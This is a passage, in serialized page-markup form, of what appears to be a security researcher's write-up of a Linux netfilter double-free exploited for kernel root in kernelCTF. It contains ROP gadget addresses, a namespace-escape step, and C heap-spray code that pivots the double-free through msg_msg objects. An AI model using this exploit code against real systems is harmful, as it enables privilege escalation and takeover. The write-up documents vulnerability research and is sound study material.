tag":41,"props":57073,"children":57074},{"class":43,"line":922},[57075,57079,57083,57087,57091,57095,57099,57103],{"type":23,"tag":41,"props":57076,"children":57077},{"style":858},[57078],{"type":28,"value":56165},{"type":23,"tag":41,"props":57080,"children":57081},{"style":70},[57082],{"type":28,"value":56680},{"type":23,"tag":41,"props":57084,"children":57085},{"style":170},[57086],{"type":28,"value":51264},{"type":23,"tag":41,"props":57088,"children":57089},{"style":70},[57090],{"type":28,"value":8659},{"type":23,"tag":41,"props":57092,"children":57093},{"style":170},[57094],{"type":28,"value":2381},{"type":23,"tag":41,"props":57096,"children":57097},{"style":70},[57098],{"type":28,"value":56186},{"type":23,"tag":41,"props":57100,"children":57101},{"style":170},[57102],{"type":28,"value":4383},{"type":23,"tag":41,"props":57104,"children":57105},{"style":70},[57106],{"type":28,"value":57107}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":41,"props":57109,"children":57110},{"class":43,"line":930},[57111,57115,57119,57123,57127,57131,57135,57139,57144,57148],{"type":23,"tag":41,"props":57112,"children":57113},{"style":858},[57114],{"type":28,"value":56165},{"type":23,"tag":41,"props":57116,"children":57117},{"style":70},[57118],{"type":28,"value":56680},{"type":23,"tag":41,"props":57120,"children":57121},{"style":170},[57122],{"type":28,"value":51264},{"type":23,"tag":41,"props":57124,"children":57125},{"style":70},[57126],{"type":28,"value":8659},{"type":23,"tag":41,"props":57128,"children":57129},{"style":170},[57130],{"type":28,"value":2381},{"type":23,"tag":41,"props":57132,"children":57133},{"style":70},[57134],{"type":28,"value":56186},{"type":23,"tag":41,"props":57136,"children":57137},{"style":170},[57138],{"type":28,"value":4383},{"type":23,"tag":41,"props":57140,"children":57141},{"style":164},[57142],{"type":28,"value":57143}," 0xffffffff8102e2a6",{"type":23,"tag":41,"props":57145,"children":57146},{"style":70},[57147],{"type":28,"value":49068},{"type":23,"tag":41,"props":57149,"children":57150},{"style":48},[57151],{"type":28,"value":57152}," // pop rsi; ret;\n",{"type":23,"tag":41,"props":57154,"children":57155},{"class":43,"line":939},[57156,57160,57164,57168,57172,57176,57181,57185,57190,57194,57199,57203],{"type":23,"tag":41,"props":57157,"children":57158},{"style":858},[57159],{"type":28,"value":56165},{"type":23,"tag":41,"props":57161,"children":57162},{"style":70},[57163],{"type":28,"value":56680},{"type":23,"tag":41,"props":57165,"children":57166},{"style":170},[57167],{"type":28,"value":51264},{"type":23,"tag":41,"props":57169,"children":57170},{"style":70},[57171],{"type":28,"value":8659},{"type":23,"tag":41,"props":57173,"children":57174},{"style":170},[57175],{"type":28,"value":2381},{"type":23,"tag":41,"props":57177,"children":57178},{"style":70},[57179],{"type":28,"value":57180}," obj_ptr ",{"type":23,"tag":41,"props":57182,"children":57183},{"style":170},[57184],{"type":28,"value":4383},{"type":23,"tag":41,"props":57186,"children":57187},{"style":164},[57188],{"type":28,"value":57189}," 0xe0",{"type":23,"tag":41,"props":57191,"children":57192},{"style":170},[57193],{"type":28,"value":51250},{"type":23,"tag":41,"props":57195,"children":57196},{"style":164},[57197],{"type":28,"value":57198}," 0x66",{"type":23,"tag":41,"props":57200,"children":57201},{"style":70},[57202],{"type":28,"value":49068},{"type":23,"tag":41,"props":57204,"children":57205},{"style":48},[57206],{"type":28,"value":57207},"            // rax -> rdi and resume rop\n",{"type":23,"tag":41,"props":57209,"children":57210},{"class":43,"line":947},[57211,57215,57219,57223,57227,57231,57235,57239,57244,57248],{"type":23,"tag":41,"props":57212,"children":57213},{"style":858},[57214],{"type":28,"value":56165},{"type":23,"tag":41,"props":57216,"children":57217},{"style":70},[57218],{"type":28,"value":56680},{"type":23,"tag":41,"props":57220,"children":57221},{"style":170},[57222],{"type":28,"value":51264},{"type":23,"tag":41,"props":57224,"children":57225},{"style":70},[57226],{"type":28,"value":8659},{"type":23,"tag":41,"props":57228,"children":57229},{"style":170},[57230],{"type":28,"value":2381},{"type":23,"tag":41,"props":57232,"children":57233},{"style":70},[57234],{"type":28,"value":56186},{"type":23,"tag":41,"props":57236,"children":57237},{"style":170},[57238],{"type":28,"value":4383},{"type":23,"tag":41,"props":57240,"children":57241},{"style":164},[57242],{"type":28,"value":57243}," 0xffffffff81caed31",{"type":23,"tag":41,"props":57245,"children":57246},{"style":70},[57247],{"type":28,"value":49068},{"type":23,"tag":41,"props":57249,"children":57250},{"style":48},[57251],{"type":28,"value":57252}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":41,"props":57254,"children":57255},{"class":43,"line":985},[57256],{"type":23,"tag":41,"props":57257,"children":57258},{"emptyLinePlaceholder":18},[57259],{"type":28,"value":82},{"type":23,"tag":41,"props":57261,"children":57262},{"class":43,"line":1058},[57263],{"type":23,"tag":41,"props":57264,"children":57265},{"style":48},[57266],{"type":28,"value":57267},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":41,"props":57269,"children":57270},{"class":43,"line":1084},[57271,57275,57279,57283,57287,57291,57295,57299,57303,57307],{"type":23,"tag":41,"props":57272,"children":57273},{"style":858},[57274],{"type":28,"value":56165},{"type":23,"tag":41,"props":57276,"children":57277},{"style":70},[57278],{"type":28,"value":56680},{"type":23,"tag":41,"props":57280,"children":57281},{"style":170},[57282],{"type":28,"value":51264},{"type":23,"tag":41,"props":57284,"children":57285},{"style":70},[57286],{"type":28,"value":8659},{"type":23,"tag":41,"props":57288,"children":57289},{"style":170},[57290],{"type":28,"value":2381},{"type":23,"tag":41,"props":57292,"children":57293},{"style":70},[57294],{"type":28,"value":56186},{"type":23,"tag":41,"props":57296,"children":57297},{"style":170},[57298],{"type":28,"value":4383},{"type":23,"tag":41,"props":57300,"children":57301},{"style":164},[57302],{"type":28,"value":57143},{"type":23,"tag":41,"props":57304,"children":57305},{"style":70},[57306],{"type":28,"value":49068},{"type":23,"tag":41,"props":57308,"children":57309},{"style":48},[57310],{"type":28,"value":57152},{"type":23,"tag":41,"props":57312,"children":57313},{"class":43,"line":1102},[57314,57318,57322,57326,57330,57334,57338,57342],{"type":23,"tag":41,"props":57315,"children":57316},{"style":858},[57317],{"type":28,"value":56165},{"type":23,"tag":41,"props":57319,"children":57320},{"style":70},[57321],{"type":28,"value":56680},{"type":23,"tag":41,"props":57323,"children":57324},{"style":170},[57325],{"type":28,"value":51264},{"type":23,"tag":41,"props":57327,"children":57328},{"style":70},[57329],{"type":28,"value":8659},{"type":23,"tag":41,"props":57331,"children":57332},{"style":170},[57333],{"type":28,"value":2381},{"type":23,"tag":41,"props":57335,"children":57336},{"style":70},[57337],{"type":28,"value":56186},{"type":23,"tag":41,"props":57339,"children":57340},{"style":170},[57341],{"type":28,"value":4383},{"type":23,"tag":41,"props":57343,"children":57344},{"style":70},[57345],{"type":28,"value":57346}," INIT_NSPROXY;\n",{"type":23,"tag":41,"props":57348,"children":57349},{"class":43,"line":1110},[57350,57354,57358,57362,57366,57370,57374,57378],{"type":23,"tag":41,"props":57351,"children":57352},{"style":858},[57353],{"type":28,"value":56165},{"type":23,"tag":41,"props":57355,"children":57356},{"style":70},[57357],{"type":28,"value":56680},{"type":23,"tag":41,"props":57359,"children":57360},{"style":170},[57361],{"type":28,"value":51264},{"type":23,"tag":41,"props":57363,"children":57364},{"style":70},[57365],{"type":28,"value":8659},{"type":23,"tag":41,"props":57367,"children":57368},{"style":170},[57369],{"type":28,"value":2381},{"type":23,"tag":41,"props":57371,"children":57372},{"style":70},[57373],{"type":28,"value":56186},{"type":23,"tag":41,"props":57375,"children":57376},{"style":170},[57377],{"type":28,"value":4383},{"type":23,"tag":41,"props":57379,"children":57380},{"style":70},[57381],{"type":28,"value":57382}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":41,"props":57384,"children":57385},{"class":43,"line":1118},[57386],{"type":23,"tag":41,"props":57387,"children":57388},{"style":70},[57389],{"type":28,"value":10316},{"type":23,"tag":546,"props":57391,"children":57393},{"id":57392},"grabbing-the-kernelctf-flag",[57394],{"type":28,"value":57395},"Grabbing the kernelCTF flag",{"type":23,"tag":24,"props":57397,"children":57398},{},[57399,57403,57405,57412],{"type":23,"tag":3918,"props":57400,"children":57402},{"alt":50573,"src":57401},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":28,"value":57404},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":458,"props":57406,"children":57409},{"href":57407,"rel":57408},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[462],[57410],{"type":28,"value":57411},"GitHub",{"type":28,"value":706},{"type":23,"tag":446,"props":57414,"children":57416},{"id":57415},"universal-exploit",[57417],{"type":28,"value":57418},"Universal exploit",{"type":23,"tag":24,"props":57420,"children":57421},{},[57422],{"type":28,"value":57423},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":546,"props":57425,"children":57427},{"id":57426},"pivot-capability-using-msg_msg-mlistnext-pointer",[57428],{"type":28,"value":57429},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":24,"props":57431,"children":57432},{},[57433,57435,57441,57443,57448,57450,57456],{"type":28,"value":57434},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":37,"props":57436,"children":57438},{"className":57437},[],[57439],{"type":28,"value":57440},"msg_msg",{"type":28,"value":57442}," object with with ",{"type":23,"tag":37,"props":57444,"children":57446},{"className":57445},[],[57447],{"type":28,"value":55094},{"type":28,"value":57449}," and control the ",{"type":23,"tag":37,"props":57451,"children":57453},{"className":57452},[],[57454],{"type":28,"value":57455},"m_list.next",{"type":28,"value":57457}," pointer.",{"type":23,"tag":31,"props":57459,"children":57461},{"className":356,"code":57460,"language":355,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[57462],{"type":23,"tag":37,"props":57463,"children":57464},{"__ignoreMap":7},[57465,57473,57489,57510,57523,57541,57566,57582,57590,57597,57604,57612,57644],{"type":23,"tag":41,"props":57466,"children":57467},{"class":43,"line":44},[57468],{"type":23,"tag":41,"props":57469,"children":57470},{"style":48},[57471],{"type":28,"value":57472},"/* one msg_msg structure for each message */\n",{"type":23,"tag":41,"props":57474,"children":57475},{"class":43,"line":54},[57476,57480,57485],{"type":23,"tag":41,"props":57477,"children":57478},{"style":64},[57479],{"type":28,"value":9399},{"type":23,"tag":41,"props":57481,"children":57482},{"style":94},[57483],{"type":28,"value":57484}," msg_msg",{"type":23,"tag":41,"props":57486,"children":57487},{"style":70},[57488],{"type":28,"value":102},{"type":23,"tag":41,"props":57490,"children":57491},{"class":43,"line":76},[57492,57496,57501,57506],{"type":23,"tag":41,"props":57493,"children":57494},{"style":64},[57495],{"type":28,"value":21138},{"type":23,"tag":41,"props":57497,"children":57498},{"style":94},[57499],{"type":28,"value":57500}," list_head",{"type":23,"tag":41,"props":57502,"children":57503},{"style":858},[57504],{"type":28,"value":57505}," m_list",{"type":23,"tag":41,"props":57507,"children":57508},{"style":70},[57509],{"type":28,"value":183},{"type":23,"tag":41,"props":57511,"children":57512},{"class":43,"line":85},[57513,57518],{"type":23,"tag":41,"props":57514,"children":57515},{"style":64},[57516],{"type":28,"value":57517}," long",{"type":23,"tag":41,"props":57519,"children":57520},{"style":70},[57521],{"type":28,"value":57522}," m_type;\n",{"type":23,"tag":41,"props":57524,"children":57525},{"class":43,"line":105},[57526,57531,57536],{"type":23,"tag":41,"props":57527,"children":57528},{"style":64},[57529],{"type":28,"value":57530}," size_t",{"type":23,"tag":41,"props":57532,"children":57533},{"style":70},[57534],{"type":28,"value":57535}," m_ts;",{"type":23,"tag":41,"props":57537,"children":57538},{"style":48},[57539],{"type":28,"value":57540},"  /* message text size */\n",{"type":23,"tag":41,"props":57542,"children":57543},{"class":43,"line":155},[57544,57548,57553,57557,57562],{"type":23,"tag":41,"props":57545,"children":57546},{"style":64},[57547],{"type":28,"value":21138},{"type":23,"tag":41,"props":57549,"children":57550},{"style":94},[57551],{"type":28,"value":57552}," msg_msgseg",{"type":23,"tag":41,"props":57554,"children":57555},{"style":64},[57556],{"type":28,"value":9814},{"type":23,"tag":41,"props":57558,"children":57559},{"style":858},[57560],{"type":28,"value":57561},"next",{"type":23,"tag":41,"props":57563,"children":57564},{"style":70},[57565],{"type":28,"value":183},{"type":23,"tag":41,"props":57567,"children":57568},{"class":43,"line":186},[57569,57573,57577],{"type":23,"tag":41,"props":57570,"children":57571},{"style":64},[57572],{"type":28,"value":51044},{"type":23,"tag":41,"props":57574,"children":57575},{"style":170},[57576],{"type":28,"value":9814},{"type":23,"tag":41,"props":57578,"children":57579},{"style":70},[57580],{"type":28,"value":57581},"security;\n",{"type":23,"tag":41,"props":57583,"children":57584},{"class":43,"line":195},[57585],{"type":23,"tag":41,"props":57586,"children":57587},{"style":48},[57588],{"type":28,"value":57589}," /* the actual message follows immediately */\n",{"type":23,"tag":41,"props":57591,"children":57592},{"class":43,"line":905},[57593],{"type":23,"tag":41,"props":57594,"children":57595},{"style":70},[57596],{"type":28,"value":936},{"type":23,"tag":41,"props":57598,"children":57599},{"class":43,"line":922},[57600],{"type":23,"tag":41,"props":57601,"children":57602},{"style":70},[57603],{"type":28,"value":10316},{"type":23,"tag":41,"props":57605,"children":57606},{"class":43,"line":930},[57607],{"type":23,"tag":41,"props":57608,"children":57609},{"style":70},[57610],{"type":28,"value":57611},"struct list_head {\n",{"type":23,"tag":41,"props":57613,"children":57614},{"class":43,"line":939},[57615,57619,57623,57627,57631,57635,57639],{"type":23,"tag":41,"props":57616,"children":57617},{"style":64},[57618],{"type":28,"value":21138},{"type":23,"tag":41,"props":57620,"children":57621},{"style":94},[57622],{"type":28,"value":57500},{"type":23,"tag":41,"props":57624,"children":57625},{"style":64},[57626],{"type":28,"value":9814},{"type":23,"tag":41,"props":57628,"children":57629},{"style":858},[57630],{"type":28,"value":57561},{"type":23,"tag":41,"props":57632,"children":57633},{"style":70},[57634],{"type":28,"value":970},{"type":23,"tag":41,"props":57636,"children":57637},{"style":170},[57638],{"type":28,"value":377},{"type":23,"tag":41,"props":57640,"children":57641},{"style":70},[57642],{"type":28,"value":57643},"prev;\n",{"type":23,"tag":41,"props":57645,"children":57646},{"class":43,"line":947},[57647],{"type":23,"tag":41,"props":57648,"children":57649},{"style":70},[57650],{"type":28,"value":936},{"type":23,"tag":24,"props":57652,"children":57653},{},[57654,57656,57662,57664,57669],{"type":28,"value":57655},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":37,"props":57657,"children":57659},{"className":57658},[],[57660],{"type":28,"value":57661},"mlist.next",{"type":28,"value":57663}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":37,"props":57665,"children":57667},{"className":57666},[],[57668],{"type":28,"value":57440},{"type":28,"value":57670}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":24,"props":57672,"children":57673},{},[57674,57676,57681,57683],{"type":28,"value":57675},"By incrementing the next pointer of our controllable ",{"type":23,"tag":37,"props":57677,"children":57679},{"className":57678},[],[57680],{"type":28,"value":57440},{"type":28,"value":57682}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":3918,"props":57684,"children":57686},{"alt":50573,"src":57685},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":31,"props":57688,"children":57690},{"className":356,"code":57689,"language":355,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[57691],{"type":23,"tag":37,"props":57692,"children":57693},{"__ignoreMap":7},[57694,57701,57709,57735,57752,57800,57807,57847,57879,57886,57907,57914,57961,58025,58051,58097,58121,58165,58172,58180,58216,58240,58247,58267,58274],{"type":23,"tag":41,"props":57695,"children":57696},{"class":43,"line":44},[57697],{"type":23,"tag":41,"props":57698,"children":57699},{"style":70},[57700],{"type":28,"value":10316},{"type":23,"tag":41,"props":57702,"children":57703},{"class":43,"line":54},[57704],{"type":23,"tag":41,"props":57705,"children":57706},{"style":70},[57707],{"type":28,"value":57708},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":41,"props":57710,"children":57711},{"class":43,"line":76},[57712,57717,57721,57725,57730],{"type":23,"tag":41,"props":57713,"children":57714},{"style":70},[57715],{"type":28,"value":57716},"    msg_t *msg = calloc(1, ",{"type":23,"tag":41,"props":57718,"children":57719},{"style":94},[57720],{"type":28,"value":55323},{"type":23,"tag":41,"props":57722,"children":57723},{"style":70},[57724],{"type":28,"value":1737},{"type":23,"tag":41,"props":57726,"children":57727},{"style":94},[57728],{"type":28,"value":57729},"msg_t",{"type":23,"tag":41,"props":57731,"children":57732},{"style":70},[57733],{"type":28,"value":57734},") + 0xe8 - 48);\n",{"type":23,"tag":41,"props":57736,"children":57737},{"class":43,"line":85},[57738,57742,57747],{"type":23,"tag":41,"props":57739,"children":57740},{"style":64},[57741],{"type":28,"value":19064},{"type":23,"tag":41,"props":57743,"children":57744},{"style":858},[57745],{"type":28,"value":57746}," qid",{"type":23,"tag":41,"props":57748,"children":57749},{"style":70},[57750],{"type":28,"value":57751},"[SPRAY];\n",{"type":23,"tag":41,"props":57753,"children":57754},{"class":43,"line":105},[57755,57759,57763,57767,57771,57775,57779,57783,57787,57792,57796],{"type":23,"tag":41,"props":57756,"children":57757},{"style":58},[57758],{"type":28,"value":3034},{"type":23,"tag":41,"props":57760,"children":57761},{"style":70},[57762],{"type":28,"value":142},{"type":23,"tag":41,"props":57764,"children":57765},{"style":64},[57766],{"type":28,"value":1124},{"type":23,"tag":41,"props":57768,"children":57769},{"style":70},[57770],{"type":28,"value":54539},{"type":23,"tag":41,"props":57772,"children":57773},{"style":170},[57774],{"type":28,"value":2381},{"type":23,"tag":41,"props":57776,"children":57777},{"style":164},[57778],{"type":28,"value":392},{"type":23,"tag":41,"props":57780,"children":57781},{"style":70},[57782],{"type":28,"value":51228},{"type":23,"tag":41,"props":57784,"children":57785},{"style":170},[57786],{"type":28,"value":1012},{"type":23,"tag":41,"props":57788,"children":57789},{"style":70},[57790],{"type":28,"value":57791}," SPRAY; i",{"type":23,"tag":41,"props":57793,"children":57794},{"style":170},[57795],{"type":28,"value":51264},{"type":23,"tag":41,"props":57797,"children":57798},{"style":70},[57799],{"type":28,"value":1969},{"type":23,"tag":41,"props":57801,"children":57802},{"class":43,"line":155},[57803],{"type":23,"tag":41,"props":57804,"children":57805},{"style":70},[57806],{"type":28,"value":1711},{"type":23,"tag":41,"props":57808,"children":57809},{"class":43,"line":186},[57810,57815,57819,57823,57828,57833,57838,57842],{"type":23,"tag":41,"props":57811,"children":57812},{"style":858},[57813],{"type":28,"value":57814},"        qid",{"type":23,"tag":41,"props":57816,"children":57817},{"style":70},[57818],{"type":28,"value":54591},{"type":23,"tag":41,"props":57820,"children":57821},{"style":170},[57822],{"type":28,"value":2381},{"type":23,"tag":41,"props":57824,"children":57825},{"style":114},[57826],{"type":28,"value":57827}," msgget",{"type":23,"tag":41,"props":57829,"children":57830},{"style":70},[57831],{"type":28,"value":57832},"(IPC_PRIVATE, ",{"type":23,"tag":41,"props":57834,"children":57835},{"style":164},[57836],{"type":28,"value":57837},"0666",{"type":23,"tag":41,"props":57839,"children":57840},{"style":170},[57841],{"type":28,"value":4271},{"type":23,"tag":41,"props":57843,"children":57844},{"style":70},[57845],{"type":28,"value":57846}," IPC_CREAT);\n",{"type":23,"tag":41,"props":57848,"children":57849},{"class":43,"line":195},[57850,57854,57858,57863,57867,57871,57875],{"type":23,"tag":41,"props":57851,"children":57852},{"style":58},[57853],{"type":28,"value":3272},{"type":23,"tag":41,"props":57855,"children":57856},{"style":70},[57857],{"type":28,"value":142},{"type":23,"tag":41,"props":57859,"children":57860},{"style":858},[57861],{"type":28,"value":57862},"qid",{"type":23,"tag":41,"props":57864,"children":57865},{"style":70},[57866],{"type":28,"value":54591},{"type":23,"tag":41,"props":57868,"children":57869},{"style":170},[57870],{"type":28,"value":1012},{"type":23,"tag":41,"props":57872,"children":57873},{"style":164},[57874],{"type":28,"value":392},{"type":23,"tag":41,"props":57876,"children":57877},{"style":70},[57878],{"type":28,"value":1969},{"type":23,"tag":41,"props":57880,"children":57881},{"class":43,"line":905},[57882],{"type":23,"tag":41,"props":57883,"children":57884},{"style":70},[57885],{"type":28,"value":31653},{"type":23,"tag":41,"props":57887,"children":57888},{"class":43,"line":922},[57889,57894,57898,57903],{"type":23,"tag":41,"props":57890,"children":57891},{"style":114},[57892],{"type":28,"value":57893},"            perror",{"type":23,"tag":41,"props":57895,"children":57896},{"style":70},[57897],{"type":28,"value":1737},{"type":23,"tag":41,"props":57899,"children":57900},{"style":735},[57901],{"type":28,"value":57902},"\"[-] msgget\"",{"type":23,"tag":41,"props":57904,"children":57905},{"style":70},[57906],{"type":28,"value":3825},{"type":23,"tag":41,"props":57908,"children":57909},{"class":43,"line":930},[57910],{"type":23,"tag":41,"props":57911,"children":57912},{"style":70},[57913],{"type":28,"value":3347},{"type":23,"tag":41,"props":57915,"children":57916},{"class":43,"line":939},[57917,57921,57925,57930,57934,57938,57943,57947,57952,57956],{"type":23,"tag":41,"props":57918,"children":57919},{"style":170},[57920],{"type":28,"value":7751},{"type":23,"tag":41,"props":57922,"children":57923},{"style":70},[57924],{"type":28,"value":1737},{"type":23,"tag":41,"props":57926,"children":57927},{"style":64},[57928],{"type":28,"value":57929},"uint32_t",{"type":23,"tag":41,"props":57931,"children":57932},{"style":170},[57933],{"type":28,"value":9814},{"type":23,"tag":41,"props":57935,"children":57936},{"style":70},[57937],{"type":28,"value":2678},{"type":23,"tag":41,"props":57939,"children":57940},{"style":858},[57941],{"type":28,"value":57942},"msg",{"type":23,"tag":41,"props":57944,"children":57945},{"style":70},[57946],{"type":28,"value":2453},{"type":23,"tag":41,"props":57948,"children":57949},{"style":858},[57950],{"type":28,"value":57951},"mtext",{"type":23,"tag":41,"props":57953,"children":57954},{"style":170},[57955],{"type":28,"value":3017},{"type":23,"tag":41,"props":57957,"children":57958},{"style":70},[57959],{"type":28,"value":57960}," i;\n",{"type":23,"tag":41,"props":57962,"children":57963},{"class":43,"line":947},[57964,57968,57972,57976,57980,57984,57988,57992,57996,58000,58004,58008,58012,58016,58021],{"type":23,"tag":41,"props":57965,"children":57966},{"style":170},[57967],{"type":28,"value":7751},{"type":23,"tag":41,"props":57969,"children":57970},{"style":70},[57971],{"type":28,"value":1737},{"type":23,"tag":41,"props":57973,"children":57974},{"style":64},[57975],{"type":28,"value":55630},{"type":23,"tag":41,"props":57977,"children":57978},{"style":170},[57979],{"type":28,"value":9814},{"type":23,"tag":41,"props":57981,"children":57982},{"style":70},[57983],{"type":28,"value":2678},{"type":23,"tag":41,"props":57985,"children":57986},{"style":170},[57987],{"type":28,"value":855},{"type":23,"tag":41,"props":57989,"children":57990},{"style":858},[57991],{"type":28,"value":57942},{"type":23,"tag":41,"props":57993,"children":57994},{"style":70},[57995],{"type":28,"value":2453},{"type":23,"tag":41,"props":57997,"children":57998},{"style":858},[57999],{"type":28,"value":57951},{"type":23,"tag":41,"props":58001,"children":58002},{"style":70},[58003],{"type":28,"value":312},{"type":23,"tag":41,"props":58005,"children":58006},{"style":164},[58007],{"type":28,"value":4078},{"type":23,"tag":41,"props":58009,"children":58010},{"style":70},[58011],{"type":28,"value":8659},{"type":23,"tag":41,"props":58013,"children":58014},{"style":170},[58015],{"type":28,"value":2381},{"type":23,"tag":41,"props":58017,"children":58018},{"style":164},[58019],{"type":28,"value":58020}," 0xdeadbeefcafebabe",{"type":23,"tag":41,"props":58022,"children":58023},{"style":70},[58024],{"type":28,"value":183},{"type":23,"tag":41,"props":58026,"children":58027},{"class":43,"line":985},[58028,58033,58037,58042,58046],{"type":23,"tag":41,"props":58029,"children":58030},{"style":858},[58031],{"type":28,"value":58032},"        msg",{"type":23,"tag":41,"props":58034,"children":58035},{"style":70},[58036],{"type":28,"value":2453},{"type":23,"tag":41,"props":58038,"children":58039},{"style":858},[58040],{"type":28,"value":58041},"mtype",{"type":23,"tag":41,"props":58043,"children":58044},{"style":170},[58045],{"type":28,"value":3017},{"type":23,"tag":41,"props":58047,"children":58048},{"style":70},[58049],{"type":28,"value":58050}," MTYPE_PRIMARY;\n",{"type":23,"tag":41,"props":58052,"children":58053},{"class":43,"line":1058},[58054,58059,58063,58067,58072,58076,58080,58085,58089,58093],{"type":23,"tag":41,"props":58055,"children":58056},{"style":114},[58057],{"type":28,"value":58058},"        msgsnd",{"type":23,"tag":41,"props":58060,"children":58061},{"style":70},[58062],{"type":28,"value":1737},{"type":23,"tag":41,"props":58064,"children":58065},{"style":858},[58066],{"type":28,"value":57862},{"type":23,"tag":41,"props":58068,"children":58069},{"style":70},[58070],{"type":28,"value":58071},"[i], msg, ",{"type":23,"tag":41,"props":58073,"children":58074},{"style":164},[58075],{"type":28,"value":55967},{"type":23,"tag":41,"props":58077,"children":58078},{"style":170},[58079],{"type":28,"value":51250},{"type":23,"tag":41,"props":58081,"children":58082},{"style":164},[58083],{"type":28,"value":58084}," 48",{"type":23,"tag":41,"props":58086,"children":58087},{"style":70},[58088],{"type":28,"value":970},{"type":23,"tag":41,"props":58090,"children":58091},{"style":164},[58092],{"type":28,"value":4024},{"type":23,"tag":41,"props":58094,"children":58095},{"style":70},[58096],{"type":28,"value":3825},{"type":23,"tag":41,"props":58098,"children":58099},{"class":43,"line":1084},[58100,58104,58108,58112,58116],{"type":23,"tag":41,"props":58101,"children":58102},{"style":858},[58103],{"type":28,"value":58032},{"type":23,"tag":41,"props":58105,"children":58106},{"style":70},[58107],{"type":28,"value":2453},{"type":23,"tag":41,"props":58109,"children":58110},{"style":858},[58111],{"type":28,"value":58041},{"type":23,"tag":41,"props":58113,"children":58114},{"style":170},[58115],{"type":28,"value":3017},{"type":23,"tag":41,"props":58117,"children":58118},{"style":70},[58119],{"type":28,"value":58120}," MTYPE_SECONDARY;\n",{"type":23,"tag":41,"props":58122,"children":58123},{"class":43,"line":1102},[58124,58128,58132,58136,58140,58145,58149,58153,58157,58161],{"type":23,"tag":41,"props":58125,"children":58126},{"style":114},[58127],{"type":28,"value":58058},{"type":23,"tag":41,"props":58129,"children":58130},{"style":70},[58131],{"type":28,"value":1737},{"type":23,"tag":41,"props":58133,"children":58134},{"style":858},[58135],{"type":28,"value":57862},{"type":23,"tag":41,"props":58137,"children":58138},{"style":70},[58139],{"type":28,"value":58071},{"type":23,"tag":41,"props":58141,"children":58142},{"style":164},[58143],{"type":28,"value":58144},"1024",{"type":23,"tag":41,"props":58146,"children":58147},{"style":170},[58148],{"type":28,"value":51250},{"type":23,"tag":41,"props":58150,"children":58151},{"style":164},[58152],{"type":28,"value":58084},{"type":23,"tag":41,"props":58154,"children":58155},{"style":70},[58156],{"type":28,"value":970},{"type":23,"tag":41,"props":58158,"children":58159},{"style":164},[58160],{"type":28,"value":4024},{"type":23,"tag":41,"props":58162,"children":58163},{"style":70},[58164],{"type":28,"value":3825},{"type":23,"tag":41,"props":58166,"children":58167},{"class":43,"line":1110},[58168],{"type":23,"tag":41,"props":58169,"children":58170},{"style":70},[58171],{"type":28,"value":192},{"type":23,"tag":41,"props":58173,"children":58174},{"class":43,"line":1118},[58175],{"type":23,"tag":41,"props":58176,"children":58177},{"style":48},[58178],{"type":28,"value":58179},"    // Prepare evil msg\n",{"type":23,"tag":41,"props":58181,"children":58182},{"class":43,"line":1137},[58183,58187,58192,58196,58200,58204,58208,58212],{"type":23,"tag":41,"props":58184,"children":58185},{"style":64},[58186],{"type":28,"value":19064},{"type":23,"tag":41,"props":58188,"children":58189},{"style":70},[58190],{"type":28,"value":58191}," evilqid 